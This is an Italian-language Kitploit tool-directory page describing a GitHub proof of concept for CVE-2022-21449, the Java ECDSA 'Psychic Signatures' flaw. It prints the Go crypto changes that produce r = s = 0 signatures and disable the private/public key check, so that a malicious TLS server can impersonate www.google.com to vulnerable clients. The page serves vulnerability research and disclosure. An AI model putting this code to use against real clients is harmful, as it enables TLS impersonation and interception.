Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-21449-TLS-PoC — CVE-2022-21449 Proof of Concept che ne dimostra l'utilizzo con un client in esecuzione su una versione Java vulnerabile e un server TLS malevolo. | Kitploit
Strumenti/GitHubGitHub/notkmhn/cve-2022-21449-tls-poc
Analisi delle VulnerabilitàExploitSicurezza WebCrittografiaPenetration Testing
GitHubnotkmhn/cve-2022-21449-tls-poc

CVE-2022-21449-TLS-PoC

CVE-2022-21449 Proof of Concept che ne dimostra l'utilizzo con un client in esecuzione su una versione Java vulnerabile e un server TLS malevolo.

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
121245 mesi faRevisionato da Kitploit

CVE-2022-21449-TLS-PoC

CVE-2022-21449 (nota anche come Psychic Signatures nell'analisi della vulnerabilità di Neil Madden) è una Proof of Concept che ne dimostra l'utilizzo con un client vulnerabile e un server TLS dannoso.

Il server dannoso presenta una catena di certificati valida (al 2022-04-20) per www.google.com, che ha una chiave pubblica ECDSA (secp256r1). Tuttavia, il pacchetto crypto/ecdsa è stato modificato per presentare una firma non valida con r = s = 0. Il client vulnerabile accetta questa firma non valida, consentendo al resto dell'handshake TLS di continuare.

Oltre ai file *_test.go rimossi durante la compilazione e l'esplorazione, queste modifiche alla libreria crypto di golang sono state necessarie per il server TLS dannoso. Possono anche essere trovate cercando con grep CVE-2022-21449 nella directory go/src.

Compilazione

Richiede un'installazione golang esistente oltre a Maven, quindi eseguire ./build.sh.

Testato su Ubuntu 20.04.4 LTS (WSL2) con OpenJDK 16.0.1 (build 16.0.1+9-Ubuntu-120.04, 2021-04-20)

Demo

https://user-images.githubusercontent.com/7225227/164332612-832b046b-cd2e-46e8-b3d6-1da36e290992.mp4

Modifiche alla libreria crypto di golang

In crypto/ecdsa/ecdsa.go, la funzione signGeneric è stata essenzialmente modificata in:

root@kitploit:~
func signGeneric(priv *PrivateKey, csprng *cipher.StreamReader, c elliptic.Curve, hash []byte) (r, s *big.Int, err error) {
        // SEC 1, Version 2.0, Section 4.1.3
        // CVE-2022-21449 - Modified and removed all calculations. Return r = s = 0
        r = new(big.Int)
        s = new(big.Int)
        return
}

E in crypto/tls/tls.go, la funzione X509KeyPair è stata modificata per disabilitare i controlli di verifica che una data chiave privata corrisponda alla chiave pubblica del certificato X.509 per le chiavi pubbliche ECDSA:

root@kitploit:~
// X509KeyPair parses a public/private key pair from a pair of
// PEM encoded data. On successful return, Certificate.Leaf will be nil because
// the parsed form of the certificate is not retained.
func X509KeyPair(certPEMBlock, keyPEMBlock []byte) (Certificate, error) {
        fail := func(err error) (Certificate, error) { return Certificate{}, err }
        ...
        switch pub := x509Cert.PublicKey.(type) {
        ...
        case *ecdsa.PublicKey:
                // CVE-2022-21449: Modified checks away
                _, ok := cert.PrivateKey.(*ecdsa.PrivateKey)
                if !ok {
                        return fail(errors.New("tls: private key type does not match public key type"))
                }
                /*if pub.X.Cmp(priv.X) != 0 || pub.Y.Cmp(priv.Y) != 0 {
                        return fail(errors.New("tls: private key does not match public key"))
                }*/
         ...
}

Crediti

  • Neil Madden: per aver trovato e divulgato CVE-2022-21449, come dettagliato nella sua eccellente analisi.
  • Khaled Nassar: questo PoC.
Scarica lo strumento